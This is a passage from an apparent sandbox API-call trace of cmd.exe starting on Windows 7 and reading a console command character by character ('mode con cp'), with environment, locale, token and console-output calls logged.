HALPmcxz\\Desktop") returned 0x25 [0043.686] GetProcessHeap () returned 0x2c0000 [0043.686] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x218) returned 0x2daa10 [0043.686] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2daa20, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0043.687] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a88f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0043.687] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a88f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0043.687] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a88f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0043.687] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0043.687] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0043.687] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0043.687] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0043.687] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0043.687] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0043.687] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0043.687] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0043.687] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0043.687] GetProcessHeap () returned 0x2c0000 [0043.688] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2d94f0 | out: hHeap=0x2c0000) returned 1 [0043.688] GetEnvironmentStringsW () returned 0x2d8a60* [0043.688] GetProcessHeap () returned 0x2c0000 [0043.688] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0xa94) returned 0x2dac30 [0043.688] FreeEnvironmentStringsW (penv=0x2d8a60) returned 1 [0043.688] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a88f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0043.688] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a88f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0043.688] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0043.688] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0043.688] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0043.688] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0043.688] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0043.688] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0043.688] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0043.688] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0043.689] GetProcessHeap () returned 0x2c0000 [0043.689] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x5c) returned 0x2db6d0 [0043.689] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x24f7b0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0043.689] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x24f7b0, lpFilePart=0x24f790 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x24f790*="Desktop") returned 0x25 [0043.689] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0043.689] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x24f4c0 | out: lpFindFileData=0x24f4c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Users", cAlternateFileName="")) returned 0x2db740 [0043.689] FindClose (in: hFindFile=0x2db740 | out: hFindFile=0x2db740) returned 1 [0043.689] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x24f4c0 | out: lpFindFileData=0x24f4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x2db740 [0043.689] FindClose (in: hFindFile=0x2db740 | out: hFindFile=0x2db740) returned 1 [0043.690] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0043.690] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x24f4c0 | out: lpFindFileData=0x24f4c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbeadda60, ftLastAccessTime.dwHighDateTime=0x1d5d105, ftLastWriteTime.dwLowDateTime=0xbeadda60, ftLastWriteTime.dwHighDateTime=0x1d5d105, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Desktop", cAlternateFileName="")) returned 0x2db740 [0043.690] FindClose (in: hFindFile=0x2db740 | out: hFindFile=0x2db740) returned 1 [0043.690] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0043.690] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0043.690] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0043.690] GetProcessHeap () returned 0x2c0000 [0043.690] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2dac30 | out: hHeap=0x2c0000) returned 1 [0043.690] GetEnvironmentStringsW () returned 0x2db740* [0043.690] GetProcessHeap () returned 0x2c0000 [0043.690] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0xae8) returned 0x2dc230 [0043.691] FreeEnvironmentStringsW (penv=0x2db740) returned 1 [0043.691] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a89c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0043.691] GetProcessHeap () returned 0x2c0000 [0043.691] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2db6d0 | out: hHeap=0x2c0000) returned 1 [0043.691] GetProcessHeap () returned 0x2c0000 [0043.691] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x4016) returned 0x2dcd20 [0043.691] GetProcessHeap () returned 0x2c0000 [0043.691] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2dcd20 | out: hHeap=0x2c0000) returned 1 [0043.691] GetConsoleOutputCP () returned 0x1b5 [0043.692] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a89bfe0 | out: lpCPInfo=0x4a89bfe0) returned 1 [0043.692] GetUserDefaultLCID () returned 0x409 [0043.693] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a897b50, cchData=8 | out: lpLCData=":") returned 2 [0043.693] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x24f8c0, cchData=128 | out: lpLCData="0") returned 2 [0043.693] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x24f8c0, cchData=128 | out: lpLCData="0") returned 2 [0043.693] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x24f8c0, cchData=128 | out: lpLCData="1") returned 2 [0043.693] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a8aa740, cchData=8 | out: lpLCData="/") returned 2 [0043.693] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a8aa4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0043.693] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a8aa460, cchData=32 | out: lpLCData="Tue") returned 4 [0043.693] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a8aa420, cchData=32 | out: lpLCData="Wed") returned 4 [0043.693] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a8aa3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0043.693] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a8aa3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0043.693] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a8aa360, cchData=32 | out: lpLCData="Sat") returned 4 [0043.694] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a8aa700, cchData=32 | out: lpLCData="Sun") returned 4 [0043.694] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a897b40, cchData=8 | out: lpLCData=".") returned 2 [0043.694] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a8aa4e0, cchData=8 | out: lpLCData=",") returned 2 [0043.694] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0043.696] GetProcessHeap () returned 0x2c0000 [0043.696] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x20c) returned 0x2d95c0 [0043.696] GetConsoleTitleW (in: lpConsoleTitle=0x2d95c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0043.696] _get_osfhandle (_FileHandle=1) returned 0xf4 [0043.696] GetFileType (hFile=0xf4) returned 0x3 [0043.696] BrandingFormatString () returned 0x2d97e0 [0043.705] GetVersion () returned 0x1db10106 [0043.705] _vsnwprintf (in: _Buffer=0x24fa30, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x24f9c8 | out: _Buffer="6.1.7601") returned 8 [0043.705] _get_osfhandle (_FileHandle=1) returned 0xf4 [0043.705] GetFileType (hFile=0xf4) returned 0x3 [0043.705] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a8a6340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0043.706] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a8a6340, nSize=0x2000, Arguments=0x24f9d0 | out: lpBuffer="Microsoft Windows [Version 6.1.7601]") returned 0x24 [0043.706] _get_osfhandle (_FileHandle=1) returned 0xf4 [0043.706] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 6.1.7601]", cchWideChar=-1, lpMultiByteStr=0x4a89c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 6.1.7601]", lpUsedDefaultChar=0x0) returned 37 [0043.706] WriteFile (in: hFile=0xf4, lpBuffer=0x4a89c320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x24f958, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesWritten=0x24f958*=0x24, lpOverlapped=0x0) returned 1 [0043.706] _vsnwprintf (in: _Buffer=0x4a8a6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x24f9f8 | out: _Buffer="\r\n") returned 2 [0043.706] _get_osfhandle (_FileHandle=1) returned 0xf4 [0043.706] GetFileType (hFile=0xf4) returned 0x3 [0043.706] _get_osfhandle (_FileHandle=1) returned 0xf4 [0043.706] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a89c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0043.706] WriteFile (in: hFile=0xf4, lpBuffer=0x4a89c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x24f9c8, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesWritten=0x24f9c8*=0x2, lpOverlapped=0x0) returned 1 [0043.706] _vsnwprintf (in: _Buffer=0x4a8a6340, _BufferCount=0x1fff, _Format="%s", _ArgList=0x24f9f8 | out: _Buffer="Copyright (c) 2009 Microsoft Corporation. All rights reserved.") returned 63 [0043.706] _get_osfhandle (_FileHandle=1) returned 0xf4 [0043.707] GetFileType (hFile=0xf4) returned 0x3 [0043.707] _get_osfhandle (_FileHandle=1) returned 0xf4 [0043.707] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x4a89c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 64 [0043.707] WriteFile (in: hFile=0xf4, lpBuffer=0x4a89c320*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x24f9c8, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesWritten=0x24f9c8*=0x3f, lpOverlapped=0x0) returned 1 [0043.707] _vsnwprintf (in: _Buffer=0x4a8a6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x24f9f8 | out: _Buffer="\r\n") returned 2 [0043.707] _get_osfhandle (_FileHandle=1) returned 0xf4 [0043.707] GetFileType (hFile=0xf4) returned 0x3 [0043.707] _get_osfhandle (_FileHandle=1) returned 0xf4 [0043.707] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a89c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0043.707] WriteFile (in: hFile=0xf4, lpBuffer=0x4a89c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x24f9c8, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesWritten=0x24f9c8*=0x2, lpOverlapped=0x0) returned 1 [0043.707] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76f20000 [0043.708] GetProcAddress (hModule=0x76f20000, lpProcName="CopyFileExW") returned 0x76f323d0 [0043.708] GetProcAddress (hModule=0x76f20000, lpProcName="IsDebuggerPresent") returned 0x76f28290 [0043.708] GetProcAddress (hModule=0x76f20000, lpProcName="SetConsoleInputExeNameW") returned 0x76f317e0 [0043.708] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.708] GetFileType (hFile=0xe8) returned 0x3 [0043.708] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0043.708] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x24f820 | out: TokenHandle=0x24f820*=0x0) returned 0xc000007c [0043.708] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x24f820 | out: TokenHandle=0x24f820*=0x50) returned 0x0 [0043.708] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x12, TokenInformation=0x24f830, TokenInformationLength=0x4, ReturnLength=0x24f838 | out: TokenInformation=0x24f830, ReturnLength=0x24f838) returned 0x0 [0043.708] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x1a, TokenInformation=0x24f838, TokenInformationLength=0x4, ReturnLength=0x24f830 | out: TokenInformation=0x24f838, ReturnLength=0x24f830) returned 0x0 [0043.709] NtClose (Handle=0x50) returned 0x0 [0043.709] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x24f800, nSize=0x0, Arguments=0x24f808 | out: lpBuffer="韠-") returned 0xf [0043.709] GetProcessHeap () returned 0x2c0000 [0043.709] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x218) returned 0x2c1ab0 [0043.709] GetConsoleTitleW (in: lpConsoleTitle=0x24f850, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0043.718] wcsstr (_Str="C:\\Windows\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0043.718] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0043.720] GetProcessHeap () returned 0x2c0000 [0043.720] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2c1ab0 | out: hHeap=0x2c0000) returned 1 [0043.720] LocalFree (hMem=0x2d97e0) returned 0x0 [0043.720] GetProcessHeap () returned 0x2c0000 [0043.720] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2daa10 | out: hHeap=0x2c0000) returned 1 [0043.720] _vsnwprintf (in: _Buffer=0x4a8a6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x24f538 | out: _Buffer="\r\n") returned 2 [0043.720] _get_osfhandle (_FileHandle=1) returned 0xf4 [0043.720] GetFileType (hFile=0xf4) returned 0x3 [0043.720] _get_osfhandle (_FileHandle=1) returned 0xf4 [0043.720] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a89c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0043.721] WriteFile (in: hFile=0xf4, lpBuffer=0x4a89c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x24f508, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesWritten=0x24f508*=0x2, lpOverlapped=0x0) returned 1 [0043.721] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a88f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0043.721] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a89c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0043.721] _vsnwprintf (in: _Buffer=0x4a88eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x24f548 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0043.721] _vsnwprintf (in: _Buffer=0x4a88ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x24f548 | out: _Buffer=">") returned 1 [0043.721] _get_osfhandle (_FileHandle=1) returned 0xf4 [0043.721] GetFileType (hFile=0xf4) returned 0x3 [0043.721] _get_osfhandle (_FileHandle=1) returned 0xf4 [0043.721] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a89c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0043.721] WriteFile (in: hFile=0xf4, lpBuffer=0x4a89c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x24f538, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesWritten=0x24f538*=0x26, lpOverlapped=0x0) returned 1 [0043.722] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.722] GetFileType (hFile=0xe8) returned 0x3 [0043.722] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.722] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.722] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0043.722] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e320, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0043.723] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.723] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.723] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0043.723] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e322, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0043.723] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.723] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.724] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0043.724] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e324, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0043.724] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.724] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.724] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0043.724] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e326, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0043.724] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.724] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.724] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0043.724] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e328, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0043.724] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.724] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.724] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0043.724] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e32a, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0043.725] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.725] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.725] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0043.725] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e32c, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0043.725] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.725] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.725] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0043.725] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e32e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0043.725] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.726] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.726] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0043.727] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e330, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0043.727] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.727] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.727] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0043.727] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e332, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0043.727] _get_osfhandle (_FileHandle=0) returned 0xe8 [0043.727] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0043.727] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0043.727] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e334, cchWideChar=1 | out: lpWideCharStr="p") returned 1 